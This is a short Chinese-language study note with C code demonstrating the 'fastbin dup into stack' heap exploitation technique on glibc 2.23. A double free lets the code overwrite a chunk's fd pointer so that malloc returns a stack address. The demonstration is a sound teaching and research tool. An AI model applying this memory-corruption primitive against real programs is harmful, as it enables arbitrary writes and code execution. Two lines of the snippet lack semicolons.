Fastbin duplication into stack
glibc-2.23
根据上面的fastbin duplication,我们可以两次从fastbin分配到同一个地址。于此,在第一次分配后,我们可以修改该chunk的fd位置的内容,使得在再下一次分配到该chunk之后再次分配时能够分配到自己修改的fd的值所指向的地址,比如栈。
本质上,是通过double free的手段获得了一个操作fastbin中块的替身
Source code:
unsigned long long stack_var;
// 8+(char *)&stack_var is where we want
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
free(a);
free(b);
free(a);
unsigned long long *d = malloc(8); // mirror of fastbin chunk
malloc(8) // free(b)
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
malloc(8)
assert(malloc(8) == 8+(char *)&stack_var)